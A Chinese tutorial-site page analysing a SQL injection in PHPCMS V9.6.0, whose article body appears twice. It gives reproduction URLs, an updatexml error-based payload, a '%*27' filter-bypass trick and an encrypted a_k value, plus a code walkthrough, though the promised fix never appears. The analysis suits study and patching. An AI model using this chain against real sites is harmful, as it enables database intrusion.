您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMSV9.6.0SQL注入漏洞分析修复方法示例
石和革2025-05-16phpcms教程已有4人查阅
导读0x01此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似。且较为有趣,故在此分析并附上exp。
0x01
此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似。且较为有趣,故在此分析并附上exp。
0x02
首先复现漏洞,环境为:
PHP:5.4.45 + Apache
mysql:5.5.53
PHPCMS:V9.6.0-UTF-8
Microsoft Windows 7 旗舰版 OS 版本: 6.1.7601 Service Pack 1 Build 7601
此漏洞复现分三个步骤:
第一步:获取 siteid
访问:/index.php?m=wap&a=index&siteid=1
可以从返回包中获取siteid的值,以下复现过程个人使用管理员cookie,所以并非使用siteid,siteid值具体作用请查看此文末尾exp,此处不再赘述。
第二步:获取加密后的payload
明文payload:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST访问:/phpcmsv9.6.0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST参数:userid_flash=112312313acasdc(随便填写,但不能为空)
此处可以得到加密后的payload
第三步:注入
获取到加密后的payload之后可直接带入程序中,获取所需的数据。
访问:/phpcmsv9.6.0/index.php?m=content&c=down&a=init&a_k=d55eWp8mOkWM7ta1tz2mcrsAJ1CPYLCD3yXSZGWdtn_PqXIgq1bdB3A9EkhHVo5Hr2nLgscNBKBHCws-gP9My5gp2R0ac_90v3Rj3Ghfk6k6khao1XYuy5qg_c4wKvOKhAUhRVFJBIQNmPNmxnk_GNpjskYSgV1nUxCDtkd-N0v-yiMrEWMVaHqjbef4g5zHXGCbSS07hv5XLYr3kUo
注入成功
0x03
漏洞分析:
首先漏洞产生点位于:\phpcms\modules\content\down.php 的 init 函数中
注入点位于第26行:$rs = $this->db->get_one(array('id'=>$id)); 再看get_one函数:
可以看到此处执行SQL语句。那么回过头再看 $id 的来源是否可控。可以看到第17行parse_str函数。此函数作用是取出变量。那么再看$a_k是否可控。可以看到第14行,
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
这条语句为解密GET传过来的数据,由此可以想到,如果将加密后的恶意数据通过GET传入,在经过解密,并且没经过任何过滤,直接拼接入SQL语句,由此漏洞产生。
那么此处只需查看sys_auth这个加密函数,看是否可逆。 此函数可以看出,倘若知道 $key 的值,便可逆,否则不可逆。由于此 key 并不固定。于是改变思路,现在需要找到一个将恶意数据加密后的地方,并且可以获取,正好有一处为:set_cookie方法: 此函数倘若 $value 可控,那么 cookie 则可控。于是便有了加密后的 payload。此时全局搜索set_cookie,查找满足条件的地方。可以找到有一个方法:swfupload_json 方法:
此处250行调用了set_cookie方法,查看$json_str是否可控,看到第243行,$json_str 为GET传入的数据。再看safe_replace过滤函数:
可以看到会将GET的数据中 %20 ,%27,%2527等过滤。但是倘若如此构造payload:%*27 将此数据传入,则safe_replace函数会先查找%27并过滤。但此数据没有,在查找*并过滤,于是剩下的数据为%27,绕过成功。于是可以构造payload
明文: 此时传入此可绕过过滤函数的payload并获取加密后的cookie
上图中dwQXH_att_json的值即为加密后的payload。然后获取此payload将起赋值给$a_k。并查看其值:
此时可以看到恶意数据被成功传入。但是在down.php中还有几个条件:
可以看到,$a_k变量中还必须有 $m,$modelid,$catid,$f 等4个变量,否则会出错。于是重新构造payload
明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#&m=1&modelid=1&catid=1&f=1
urlencode: 获取加密后的payload:
然后传入$a_k变量中。注入成功:
注:获取不到set_cookie的值问题体现在构造函数中:
此处会判断是否登录,由于我是登录后台之后复现,所以没有发现此问题,在此致歉。该问题解决方法为1、登录一次后台。 2、将sys_auth()函数下载到本地,任意加密一个值后,获取加密后的值以POST方法传入userid_flash,这样也会获取到set_cookie的值。
此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似。且较为有趣,故在此分析并附上exp。
0x02
首先复现漏洞,环境为:
PHP:5.4.45 + Apache
mysql:5.5.53
PHPCMS:V9.6.0-UTF-8
Microsoft Windows 7 旗舰版 OS 版本: 6.1.7601 Service Pack 1 Build 7601
此漏洞复现分三个步骤:
第一步:获取 siteid
访问:/index.php?m=wap&a=index&siteid=1
可以从返回包中获取siteid的值,以下复现过程个人使用管理员cookie,所以并非使用siteid,siteid值具体作用请查看此文末尾exp,此处不再赘述。
第二步:获取加密后的payload
明文payload:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST访问:/phpcmsv9.6.0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST参数:userid_flash=112312313acasdc(随便填写,但不能为空)
此处可以得到加密后的payload
第三步:注入
获取到加密后的payload之后可直接带入程序中,获取所需的数据。
访问:/phpcmsv9.6.0/index.php?m=content&c=down&a=init&a_k=d55eWp8mOkWM7ta1tz2mcrsAJ1CPYLCD3yXSZGWdtn_PqXIgq1bdB3A9EkhHVo5Hr2nLgscNBKBHCws-gP9My5gp2R0ac_90v3Rj3Ghfk6k6khao1XYuy5qg_c4wKvOKhAUhRVFJBIQNmPNmxnk_GNpjskYSgV1nUxCDtkd-N0v-yiMrEWMVaHqjbef4g5zHXGCbSS07hv5XLYr3kUo
注入成功
0x03
漏洞分析:
首先漏洞产生点位于:\phpcms\modules\content\down.php 的 init 函数中
注入点位于第26行:$rs = $this->db->get_one(array('id'=>$id)); 再看get_one函数:
可以看到此处执行SQL语句。那么回过头再看 $id 的来源是否可控。可以看到第17行parse_str函数。此函数作用是取出变量。那么再看$a_k是否可控。可以看到第14行,
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
这条语句为解密GET传过来的数据,由此可以想到,如果将加密后的恶意数据通过GET传入,在经过解密,并且没经过任何过滤,直接拼接入SQL语句,由此漏洞产生。
那么此处只需查看sys_auth这个加密函数,看是否可逆。 此函数可以看出,倘若知道 $key 的值,便可逆,否则不可逆。由于此 key 并不固定。于是改变思路,现在需要找到一个将恶意数据加密后的地方,并且可以获取,正好有一处为:set_cookie方法: 此函数倘若 $value 可控,那么 cookie 则可控。于是便有了加密后的 payload。此时全局搜索set_cookie,查找满足条件的地方。可以找到有一个方法:swfupload_json 方法:
此处250行调用了set_cookie方法,查看$json_str是否可控,看到第243行,$json_str 为GET传入的数据。再看safe_replace过滤函数:
可以看到会将GET的数据中 %20 ,%27,%2527等过滤。但是倘若如此构造payload:%*27 将此数据传入,则safe_replace函数会先查找%27并过滤。但此数据没有,在查找*并过滤,于是剩下的数据为%27,绕过成功。于是可以构造payload
明文: 此时传入此可绕过过滤函数的payload并获取加密后的cookie
上图中dwQXH_att_json的值即为加密后的payload。然后获取此payload将起赋值给$a_k。并查看其值:
此时可以看到恶意数据被成功传入。但是在down.php中还有几个条件:
可以看到,$a_k变量中还必须有 $m,$modelid,$catid,$f 等4个变量,否则会出错。于是重新构造payload
明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#&m=1&modelid=1&catid=1&f=1
urlencode: 获取加密后的payload:
然后传入$a_k变量中。注入成功:
注:获取不到set_cookie的值问题体现在构造函数中:
此处会判断是否登录,由于我是登录后台之后复现,所以没有发现此问题,在此致歉。该问题解决方法为1、登录一次后台。 2、将sys_auth()函数下载到本地,任意加密一个值后,获取加密后的值以POST方法传入userid_flash,这样也会获取到set_cookie的值。
本文标签:
很赞哦! (2)
上一篇:PHPCMSV9环境搭建安装教程
下一篇:phpcms缓存文件函数分析
暂无内容 |
暂无内容 |
相关源码
相关教程
暂无内容 |
暂无内容 |
图文教程
phpcms忘记密码怎么找回
phpcms忘记密码怎么办?我们登录phpcms后台的时候,发现提示密码错误,多次输入后,还是提示错误。phpcms的特点和优点介绍
PHPCMS是一种基于PHP的开源内容管理系统,用于管理网站内容,其特点包括易用性、强大功能、可扩展性、安全性高和免费开源。它可以节省时间、提升网站质量、增强协作并降低开发成本PHPCMS实现文章定时发布和自动推送代码示例
在phpcms中可以实现文章的定时发布和自动推送功能。1)定时发布通过任务调度系统设定文章发布时间,文章在预设时间自动上线。2)自动推送通过api或插件将文章推送到其他平台,提高内容曝光率。phpcmsv9怎么安装,phpcmsv9安装步骤
1.首先到官网下载phpcms v9程序。2.下载完解压后,有两个文件夹,将install_package目录下所有文件上传到网站,并打开网http://你的域名/install/index.php。
分享笔记 (共有 0 篇笔记) |